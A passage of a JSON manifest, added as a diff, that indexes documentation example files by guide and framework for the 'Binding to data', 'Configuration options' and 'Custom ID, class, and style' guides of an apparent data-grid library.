"exampleTitle": "Standard example", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example1.vue", + "file": "guides__getting-started__binding-to-data__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example2.ts", + "file": "guides__getting-started__binding-to-data__angular__example2.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example2", + "exampleTitle": "Array of arrays with a selective display of columns", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example2.js", + "file": "guides__getting-started__binding-to-data__javascript__example2.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example2", + "exampleTitle": "Array of arrays with a selective display of columns", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example2.tsx", + "file": "guides__getting-started__binding-to-data__react__example2.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example2", + "exampleTitle": "Array of arrays with a selective display of columns", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example2.ts", + "file": "guides__getting-started__binding-to-data__javascript__example2.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example2", + "exampleTitle": "Array of arrays with a selective display of columns", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example2.vue", + "file": "guides__getting-started__binding-to-data__vue__example2.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example2", + "exampleTitle": "Array of arrays with a selective display of columns", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example3.ts", + "file": "guides__getting-started__binding-to-data__angular__example3.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example3.js", + "file": "guides__getting-started__binding-to-data__javascript__example3.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example3.tsx", + "file": "guides__getting-started__binding-to-data__react__example3.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example3.ts", + "file": "guides__getting-started__binding-to-data__javascript__example3.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example3.vue", + "file": "guides__getting-started__binding-to-data__vue__example3.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example4.ts", + "file": "guides__getting-started__binding-to-data__angular__example4.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example4", + "exampleTitle": "Array of objects with column as a function", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example4.js", + "file": "guides__getting-started__binding-to-data__javascript__example4.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example4", + "exampleTitle": "Array of objects with column as a function", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example4.tsx", + "file": "guides__getting-started__binding-to-data__react__example4.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example4", + "exampleTitle": "Array of objects with column as a function", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example4.ts", + "file": "guides__getting-started__binding-to-data__javascript__example4.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example4", + "exampleTitle": "Array of objects with column as a function", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example4.vue", + "file": "guides__getting-started__binding-to-data__vue__example4.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example4", + "exampleTitle": "Array of objects with column as a function", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example5.ts", + "file": "guides__getting-started__binding-to-data__angular__example5.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example5", + "exampleTitle": "Array of objects with column mapping", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example5.js", + "file": "guides__getting-started__binding-to-data__javascript__example5.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example5", + "exampleTitle": "Array of objects with column mapping", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example5.tsx", + "file": "guides__getting-started__binding-to-data__react__example5.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example5", + "exampleTitle": "Array of objects with column mapping", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example5.ts", + "file": "guides__getting-started__binding-to-data__javascript__example5.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example5", + "exampleTitle": "Array of objects with column mapping", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example5.vue", + "file": "guides__getting-started__binding-to-data__vue__example5.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example5", + "exampleTitle": "Array of objects with column mapping", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example6.ts", + "file": "guides__getting-started__binding-to-data__angular__example6.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example6", + "exampleTitle": "Array of objects with custom data schema", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example6.js", + "file": "guides__getting-started__binding-to-data__javascript__example6.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example6", + "exampleTitle": "Array of objects with custom data schema", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example6.tsx", + "file": "guides__getting-started__binding-to-data__react__example6.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example6", + "exampleTitle": "Array of objects with custom data schema", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example6.ts", + "file": "guides__getting-started__binding-to-data__javascript__example6.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example6", + "exampleTitle": "Array of objects with custom data schema", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example6.vue", + "file": "guides__getting-started__binding-to-data__vue__example6.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example6", + "exampleTitle": "Array of objects with custom data schema", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example7.ts", + "file": "guides__getting-started__binding-to-data__angular__example7.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example7", + "exampleTitle": "Function data source and schema", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example7.js", + "file": "guides__getting-started__binding-to-data__javascript__example7.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example7", + "exampleTitle": "Function data source and schema", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example7.tsx", + "file": "guides__getting-started__binding-to-data__react__example7.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example7", + "exampleTitle": "Function data source and schema", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example7.ts", + "file": "guides__getting-started__binding-to-data__javascript__example7.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example7", + "exampleTitle": "Function data source and schema", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example7.vue", + "file": "guides__getting-started__binding-to-data__vue__example7.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example7", + "exampleTitle": "Function data source and schema", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example9.ts", + "file": "guides__getting-started__binding-to-data__angular__example9.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example9", + "exampleTitle": "No data", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example9.js", + "file": "guides__getting-started__binding-to-data__javascript__example9.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example9", + "exampleTitle": "No data", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example9.tsx", + "file": "guides__getting-started__binding-to-data__react__example9.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example9", + "exampleTitle": "No data", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example9.ts", + "file": "guides__getting-started__binding-to-data__javascript__example9.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example9", + "exampleTitle": "No data", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example9.vue", + "file": "guides__getting-started__binding-to-data__vue__example9.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example9", + "exampleTitle": "No data", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/angular/example1.ts", + "file": "guides__getting-started__configuration-options__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/configuration-options", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example1.js", + "file": "guides__getting-started__configuration-options__javascript__example1.js.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/configuration-options", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/react/example1.tsx", + "file": "guides__getting-started__configuration-options__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/configuration-options", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example1.ts", + "file": "guides__getting-started__configuration-options__javascript__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/configuration-options", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/vue/example1.vue", + "file": "guides__getting-started__configuration-options__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/configuration-options", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/angular/example2.ts", + "file": "guides__getting-started__configuration-options__angular__example2.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/configuration-options", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example2.js", + "file": "guides__getting-started__configuration-options__javascript__example2.js.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/configuration-options", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/react/example2.tsx", + "file": "guides__getting-started__configuration-options__react__example2.tsx.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/configuration-options", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example2.ts", + "file": "guides__getting-started__configuration-options__javascript__example2.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/configuration-options", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/vue/example2.vue", + "file": "guides__getting-started__configuration-options__vue__example2.vue.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/configuration-options", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/angular/example3.ts", + "file": "guides__getting-started__configuration-options__angular__example3.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example3", + "exampleTitle": "Example (2)", + "docPermalink": "/configuration-options", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example3.js", + "file": "guides__getting-started__configuration-options__javascript__example3.js.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example3", + "exampleTitle": "Example (2)", + "docPermalink": "/configuration-options", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/react/example3.tsx", + "file": "guides__getting-started__configuration-options__react__example3.tsx.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example3", + "exampleTitle": "Example (2)", + "docPermalink": "/configuration-options", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example3.ts", + "file": "guides__getting-started__configuration-options__javascript__example3.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example3", + "exampleTitle": "Example (2)", + "docPermalink": "/configuration-options", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/vue/example3.vue", + "file": "guides__getting-started__configuration-options__vue__example3.vue.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example3", + "exampleTitle": "Example (2)", + "docPermalink": "/configuration-options", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/angular/example4.ts", + "file": "guides__getting-started__configuration-options__angular__example4.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example4", + "exampleTitle": "Example (3)", + "docPermalink": "/configuration-options", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example4.js", + "file": "guides__getting-started__configuration-options__javascript__example4.js.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example4", + "exampleTitle": "Example (3)", + "docPermalink": "/configuration-options", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/react/example4.tsx", + "file": "guides__getting-started__configuration-options__react__example4.tsx.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example4", + "exampleTitle": "Example (3)", + "docPermalink": "/configuration-options", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example4.ts", + "file": "guides__getting-started__configuration-options__javascript__example4.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example4", + "exampleTitle": "Example (3)", + "docPermalink": "/configuration-options", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/vue/example4.vue", + "file": "guides__getting-started__configuration-options__vue__example4.vue.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example4", + "exampleTitle": "Example (3)", + "docPermalink": "/configuration-options", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example5.js", + "file": "guides__getting-started__configuration-options__javascript__example5.js.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example5", + "exampleTitle": "Example (4)", + "docPermalink": "/configuration-options", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example5.ts", + "file": "guides__getting-started__configuration-options__javascript__example5.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example5", + "exampleTitle": "Example (4)", + "docPermalink": "/configuration-options", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/angular/example6.ts", + "file": "guides__getting-started__configuration-options__angular__example6.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example6", + "exampleTitle": "Configuration example", + "docPermalink": "/configuration-options", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example6.js", + "file": "guides__getting-started__configuration-options__javascript__example6.js.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example6", + "exampleTitle": "Configuration example", + "docPermalink": "/configuration-options", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/react/example6.tsx", + "file": "guides__getting-started__configuration-options__react__example6.tsx.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example6", + "exampleTitle": "Configuration example", + "docPermalink": "/configuration-options", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/javascript/example6.ts", + "file": "guides__getting-started__configuration-options__javascript__example6.ts.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example6", + "exampleTitle": "Configuration example", + "docPermalink": "/configuration-options", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/configuration-options/vue/example6.vue", + "file": "guides__getting-started__configuration-options__vue__example6.vue.json", + "breadcrumb": [ + "Getting Started", + "Configuration options" + ], + "guide": "guides/getting-started/configuration-options/configuration-options.md", + "guideTitle": "Configuration options", + "exampleId": "example6", + "exampleTitle": "Configuration example", + "docPermalink": "/configuration-options", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/custom-id-class-style/angular/example1.ts", + "file": "guides__getting-started__custom-id-class-style__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Custom ID, class, and style" + ], + "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", + "guideTitle": "Custom ID, class, and style", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/custom-id-class-style", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/custom-id-class-style/javascript/example1.js", + "file": "guides__getting-started__custom-id-class-style__javascript__example1.js.json", + "breadcrumb": [ + "Getting Started", + "Custom ID, class, and style" + ], + "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", + "guideTitle": "Custom ID, class, and style", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/custom-id-class-style", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/custom-id-class-style/react/example1.tsx", + "file": "guides__getting-started__custom-id-class-style__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Custom ID, class, and style" + ], + "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", + "guideTitle": "Custom ID, class, and style", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/custom-id-class-style", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/custom-id-class-style/javascript/example1.ts", + "file": "guides__getting-started__custom-id-class-style__javascript__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Custom ID, class, and style" + ], + "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", + "guideTitle": "Custom ID, class, and style", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/custom-id-class-style", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/custom-id-class-style/vue/example1.vue", + "file": "guides__getting-started__custom-id-class-style__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Custom ID, class, and style" + ], + "guide": 